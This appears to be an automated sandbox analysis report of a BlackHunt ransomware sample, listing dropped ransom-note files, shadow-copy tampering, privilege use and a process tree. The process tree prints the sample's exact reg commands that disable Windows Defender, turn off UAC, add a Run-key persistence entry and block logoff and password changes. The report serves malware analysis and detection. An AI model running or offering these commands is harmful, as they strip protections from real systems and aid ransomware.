File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\core.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chihuahua	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.bfc	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.lock	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\platform.xml	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\ImportRevoke.jpg	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Broken_Hill	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.win32.x86_64_1.0.100.v20130327-1442.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Macau	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre7\lib\zi\Pacific\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Chisinau	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core.xml	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.hta	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyclient.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson_Creek	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\Java\jre7\bin\plugin2\#BlackHunt_Private.key	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.txt	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1704	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2860	vssadmin.exe
2056	vssadmin.exe
2768	vssadmin.exe
1716	vssadmin.exe
2240	vssadmin.exe
4368	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4852	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5028	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4952	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeRestorePrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeBackupPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeTakeOwnershipPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeAuditPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeSecurityPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeIncBasePriorityPrivilege	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Token: SeBackupPrivilege	2372	vssvc.exe
Token: SeRestorePrivilege	2372	vssvc.exe
Token: SeAuditPrivilege	2372	vssvc.exe
Token: SeBackupPrivilege	2152	wbengine.exe
Token: SeRestorePrivilege	2152	wbengine.exe
Token: SeSecurityPrivilege	2152	wbengine.exe
Token: SeSecurityPrivilege	4344	wevtutil.exe
Token: SeBackupPrivilege	4344	wevtutil.exe
Token: SeSecurityPrivilege	4424	wevtutil.exe
Token: SeSecurityPrivilege	4448	wevtutil.exe
Token: SeBackupPrivilege	4424	wevtutil.exe
Token: SeBackupPrivilege	4448	wevtutil.exe
Token: SeSecurityPrivilege	4432	wevtutil.exe
Token: SeBackupPrivilege	4432	wevtutil.exe
Token: SeSecurityPrivilege	4492	wevtutil.exe
Token: SeBackupPrivilege	4492	wevtutil.exe
Token: SeDebugPrivilege	4852	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 2580	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	35
PID 2720 wrote to memory of 2580	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	35
PID 2720 wrote to memory of 2580	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	35
PID 2720 wrote to memory of 2580	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	35
PID 2720 wrote to memory of 2636	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	34
PID 2720 wrote to memory of 2636	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	34
PID 2720 wrote to memory of 2636	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	34
PID 2720 wrote to memory of 2636	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	34
PID 2720 wrote to memory of 3028	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	32
PID 2720 wrote to memory of 3028	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	32
PID 2720 wrote to memory of 3028	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	32
PID 2720 wrote to memory of 3028	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	32
PID 2580 wrote to memory of 2088	2580	cmd.exe	33
PID 2580 wrote to memory of 2088	2580	cmd.exe	33
PID 2580 wrote to memory of 2088	2580	cmd.exe	33
PID 2720 wrote to memory of 2320	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	37
PID 2720 wrote to memory of 2320	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	37
PID 2720 wrote to memory of 2320	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	37
PID 2720 wrote to memory of 2320	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	37
PID 2636 wrote to memory of 2740	2636	cmd.exe	132
PID 2636 wrote to memory of 2740	2636	cmd.exe	132
PID 2636 wrote to memory of 2740	2636	cmd.exe	132
PID 2720 wrote to memory of 2548	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	40
PID 2720 wrote to memory of 2548	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	40
PID 2720 wrote to memory of 2548	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	40
PID 2720 wrote to memory of 2548	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	40
PID 2720 wrote to memory of 1676	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	147
PID 2720 wrote to memory of 1676	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	147
PID 2720 wrote to memory of 1676	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	147
PID 2720 wrote to memory of 1676	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	147
PID 2720 wrote to memory of 2672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	97
PID 2720 wrote to memory of 2672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	97
PID 2720 wrote to memory of 2672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	97
PID 2720 wrote to memory of 2672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	97
PID 3028 wrote to memory of 2904	3028	cmd.exe	43
PID 3028 wrote to memory of 2904	3028	cmd.exe	43
PID 3028 wrote to memory of 2904	3028	cmd.exe	43
PID 2720 wrote to memory of 2812	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	46
PID 2720 wrote to memory of 2812	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	46
PID 2720 wrote to memory of 2812	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	46
PID 2720 wrote to memory of 2812	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	46
PID 2720 wrote to memory of 2928	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	44
PID 2720 wrote to memory of 2928	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	44
PID 2720 wrote to memory of 2928	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	44
PID 2720 wrote to memory of 2928	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	44
PID 2720 wrote to memory of 3024	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	70
PID 2720 wrote to memory of 3024	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	70
PID 2720 wrote to memory of 3024	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	70
PID 2720 wrote to memory of 3024	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	70
PID 2320 wrote to memory of 3016	2320	cmd.exe	47
PID 2320 wrote to memory of 3016	2320	cmd.exe	47
PID 2320 wrote to memory of 3016	2320	cmd.exe	47
PID 2720 wrote to memory of 2148	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	48
PID 2720 wrote to memory of 2148	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	48
PID 2720 wrote to memory of 2148	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	48
PID 2720 wrote to memory of 2148	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	48
PID 2720 wrote to memory of 2520	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	51
PID 2720 wrote to memory of 2520	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	51
PID 2720 wrote to memory of 2520	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	51
PID 2720 wrote to memory of 2520	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	51
PID 2720 wrote to memory of 1672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	52
PID 2720 wrote to memory of 1672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	52
PID 2720 wrote to memory of 1672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	52
PID 2720 wrote to memory of 1672	2720	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe	52

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe
"C:\Users\Admin\AppData\Local\Temp\5a92e22d4007fe5419df39f1df374c5291b5726f25c38381b6bd5ba05fe4146e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
